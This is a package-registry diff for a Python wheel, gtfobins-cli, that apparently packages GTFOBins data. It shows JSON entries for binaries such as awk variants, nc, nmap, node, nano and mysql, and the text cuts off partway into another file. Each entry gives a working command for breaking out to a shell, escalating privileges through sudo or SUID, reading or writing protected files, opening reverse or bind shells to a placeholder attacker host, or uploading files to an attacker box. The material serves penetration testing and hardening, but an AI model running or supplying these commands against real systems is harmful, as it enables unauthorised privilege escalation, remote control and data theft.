gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/mawk.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "mawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "mawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-read": [
|
|
14
|
+
{
|
|
15
|
+
"code": "mawk '//' \"[file]\"\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"suid": [
|
|
19
|
+
{
|
|
20
|
+
"code": "./mawk '//' \"[file]\""
|
|
21
|
+
}
|
|
22
|
+
],
|
|
23
|
+
"sudo": [
|
|
24
|
+
{
|
|
25
|
+
"code": "sudo mawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
26
|
+
}
|
|
27
|
+
],
|
|
28
|
+
"limited-suid": [
|
|
29
|
+
{
|
|
30
|
+
"code": "./mawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
31
|
+
}
|
|
32
|
+
]
|
|
33
|
+
}
|
|
34
|
+
}
|
gtfo/data/more.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TERM= more /etc/profile\n!/bin/sh\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-read": [
|
|
9
|
+
{
|
|
10
|
+
"code": "more [file]"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./more [file]"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "TERM= sudo more /etc/profile\n!/bin/sh\n"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/mount.json
ADDED
gtfo/data/mtr.json
ADDED
gtfo/data/mv.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This can be used to move and then read or write files from a restricted file systems or with elevated privileges.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"suid": [
|
|
5
|
+
{
|
|
6
|
+
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./mv $TF [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF [file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/mysql.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "A valid MySQL server must be available.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "mysql -e '\\! /bin/sh'"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo mysql -e '\\! /bin/sh'"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"limited-suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./mysql -e '\\! /bin/sh'"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"library-load": [
|
|
20
|
+
{
|
|
21
|
+
"description": "A MySQL server must accept connections in order for this to work. The following loads the '/path/to/lib.so' shared object.",
|
|
22
|
+
"code": "mysql --default-auth ../../../../../path/to/lib"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/nano.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
6
|
+
},
|
|
7
|
+
{
|
|
8
|
+
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
|
9
|
+
"code": "nano -s /bin/sh\n/bin/sh\n^T\n"
|
|
10
|
+
}
|
|
11
|
+
],
|
|
12
|
+
"file-write": [
|
|
13
|
+
{
|
|
14
|
+
"code": "nano [file]\n[data]\n^O\n"
|
|
15
|
+
}
|
|
16
|
+
],
|
|
17
|
+
"file-read": [
|
|
18
|
+
{
|
|
19
|
+
"code": "nano [file]"
|
|
20
|
+
}
|
|
21
|
+
],
|
|
22
|
+
"limited-suid": [
|
|
23
|
+
{
|
|
24
|
+
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
|
25
|
+
"code": "./nano -s /bin/sh\n/bin/sh\n^T\n"
|
|
26
|
+
}
|
|
27
|
+
],
|
|
28
|
+
"sudo": [
|
|
29
|
+
{
|
|
30
|
+
"code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
31
|
+
}
|
|
32
|
+
]
|
|
33
|
+
}
|
|
34
|
+
}
|
gtfo/data/nawk.json
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "nawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"non-interactive-reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
"code": "nawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"non-interactive-bind-shell": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
|
|
17
|
+
"code": "nawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"file-write": [
|
|
21
|
+
{
|
|
22
|
+
"code": "nawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-read": [
|
|
26
|
+
{
|
|
27
|
+
"code": "nawk '//' \"[file]\"\n"
|
|
28
|
+
}
|
|
29
|
+
],
|
|
30
|
+
"suid": [
|
|
31
|
+
{
|
|
32
|
+
"code": "./nawk '//' \"[file]\""
|
|
33
|
+
}
|
|
34
|
+
],
|
|
35
|
+
"sudo": [
|
|
36
|
+
{
|
|
37
|
+
"code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
38
|
+
}
|
|
39
|
+
],
|
|
40
|
+
"limited-suid": [
|
|
41
|
+
{
|
|
42
|
+
"code": "./nawk 'BEGIN {system(\"/bin/sh\")}'"
|
|
43
|
+
}
|
|
44
|
+
]
|
|
45
|
+
}
|
|
46
|
+
}
|
gtfo/data/nc.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"reverse-shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
6
|
+
"code": "nc -e /bin/sh [host] [port]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"bind-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'nc [host] [port]` on the attacker box to connect to the shell. This only works with netcat traditional.",
|
|
12
|
+
"code": "nc -l -p [port] -e /bin/sh\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-upload": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.",
|
|
18
|
+
"code": "nc [host] [port] < [file]\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-download": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [port]' on the attacker box to send the file.",
|
|
24
|
+
"code": "nc -l -p [port] > [file]\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"sudo": [
|
|
28
|
+
{
|
|
29
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
30
|
+
"code": "sudo nc -e /bin/sh [host] [port]\n"
|
|
31
|
+
}
|
|
32
|
+
],
|
|
33
|
+
"limited-suid": [
|
|
34
|
+
{
|
|
35
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
36
|
+
"code": "./nc -e /bin/sh [host] [port]\n"
|
|
37
|
+
}
|
|
38
|
+
]
|
|
39
|
+
}
|
|
40
|
+
}
|
gtfo/data/nice.json
ADDED
gtfo/data/nl.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The read file content is corrupted by a leading space added to each line.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "nl -bn -w1 -s '' [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./nl -bn -w1 -s '' [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo nl -bn -w1 -s '' [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/nmap.json
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Input echo is disabled.",
|
|
6
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' > $TF\nnmap --script=$TF\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.",
|
|
10
|
+
"code": "nmap --interactive\nnmap> !sh\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"non-interactive-reverse-shell": [
|
|
14
|
+
{
|
|
15
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
16
|
+
"code": "TF=$(mktemp)\necho 'local s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\",[port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();' > $TF\nnmap --script=$TF\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"non-interactive-bind-shell": [
|
|
20
|
+
{
|
|
21
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
|
|
22
|
+
"code": "TF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",[port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();' > $TF\nnmap --script=$TF\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-upload": [
|
|
26
|
+
{
|
|
27
|
+
"description": "Send a local file via TCP. Run 'socat -v tcp-listen:8080,reuseaddr,fork -' on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.",
|
|
28
|
+
"code": "nmap -p [port] [host] --script http-put --script-args http-put.url=/,http-put.file=[file]\n"
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
"description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.",
|
|
32
|
+
"code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", 'rb')\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\",[port]);\nt:send(d);\nt:close();' > $TF\nnmap --script=$TF\n"
|
|
33
|
+
}
|
|
34
|
+
],
|
|
35
|
+
"file-download": [
|
|
36
|
+
{
|
|
37
|
+
"description": "Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., 'php -S 0.0.0.0:8080'. Note that multiple connections are made to the server and the result is placed in '$TF/IP/PORT/PATH'. Also, it is important that the port is a commonly used HTTP like 80 or 8080.",
|
|
38
|
+
"code": "TF=$(mktemp -d)\nnmap -p [port] [host] --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=[file]\n"
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file.",
|
|
42
|
+
"code": "TF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",[port]));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"[file]\", \"wb\");\nf:write(d);\nio.close(f);' > $TF\nnmap --script=$TF\n"
|
|
43
|
+
}
|
|
44
|
+
],
|
|
45
|
+
"file-write": [
|
|
46
|
+
{
|
|
47
|
+
"code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", \"wb\"); f:write(\"[data]\"); io.close(f);' > $TF\nnmap --script=$TF\n"
|
|
48
|
+
},
|
|
49
|
+
{
|
|
50
|
+
"description": "The payload appears inside the regular nmap output.",
|
|
51
|
+
"code": "nmap -oG=[file] [data]\n"
|
|
52
|
+
}
|
|
53
|
+
],
|
|
54
|
+
"file-read": [
|
|
55
|
+
{
|
|
56
|
+
"code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);' > $TF\nnmap --script=$TF\n"
|
|
57
|
+
}
|
|
58
|
+
],
|
|
59
|
+
"sudo": [
|
|
60
|
+
{
|
|
61
|
+
"description": "Input echo is disabled.",
|
|
62
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' > $TF\nsudo nmap --script=$TF\n"
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
"description": "The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.",
|
|
66
|
+
"code": "sudo nmap --interactive\nnmap> !sh\n"
|
|
67
|
+
}
|
|
68
|
+
],
|
|
69
|
+
"limited-suid": [
|
|
70
|
+
{
|
|
71
|
+
"description": "Input echo is disabled.",
|
|
72
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' > $TF\n./nmap --script=$TF\n"
|
|
73
|
+
}
|
|
74
|
+
],
|
|
75
|
+
"suid": [
|
|
76
|
+
{
|
|
77
|
+
"description": "The payload appears inside the regular nmap output.",
|
|
78
|
+
"code": "./nmap -oG=[file] [data]\n"
|
|
79
|
+
}
|
|
80
|
+
]
|
|
81
|
+
}
|
|
82
|
+
}
|
gtfo/data/node.json
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "node -e 'fs.writeFileSync(\"file_to_write\", \"DATA\")'"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-read": [
|
|
14
|
+
{
|
|
15
|
+
"code": "node -e 'process.stdout.write(fs.readFileSync(\"/bin/ls\"))'"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"file-download": [
|
|
19
|
+
{
|
|
20
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
21
|
+
"code": "node -e 'http.get([host], res => res.pipe(fs.createWriteStream([file])))'\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"file-upload": [
|
|
25
|
+
{
|
|
26
|
+
"description": "Send a local file via HTTP POST request.",
|
|
27
|
+
"code": "node -e 'fs.createReadStream([file]).pipe(http.request([host]))'\n"
|
|
28
|
+
}
|
|
29
|
+
],
|
|
30
|
+
"reverse-shell": [
|
|
31
|
+
{
|
|
32
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
33
|
+
"code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.connect([port], [host], function () {\n this.pipe(sh.stdin);\n sh.stdout.pipe(this);\n sh.stderr.pipe(this);\n})'\n"
|
|
34
|
+
}
|
|
35
|
+
],
|
|
36
|
+
"bind-shell": [
|
|
37
|
+
{
|
|
38
|
+
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
|
|
39
|
+
"code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.createServer(function (client) {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n}).listen([port])'\n"
|
|
40
|
+
}
|
|
41
|
+
],
|
|
42
|
+
"suid": [
|
|
43
|
+
{
|
|
44
|
+
"code": "./node -e 'child_process.spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n"
|
|
45
|
+
}
|
|
46
|
+
],
|
|
47
|
+
"sudo": [
|
|
48
|
+
{
|
|
49
|
+
"code": "sudo node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
50
|
+
}
|
|
51
|
+
],
|
|
52
|
+
"capabilities": [
|
|
53
|
+
{
|
|
54
|
+
"code": "./node -e 'process.setuid(0); child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
55
|
+
}
|
|
56
|
+
]
|
|
57
|
+
}
|
|
58
|
+
}
|
gtfo/data/nohup.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\""
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"command": [
|
|
9
|
+
{
|
|
10
|
+
"code": "nohup \"[command]\"\ncat nohup.out\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\""
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"suid": [
|
|
19
|
+
{
|
|
20
|
+
"code": "./nohup /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/npm.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
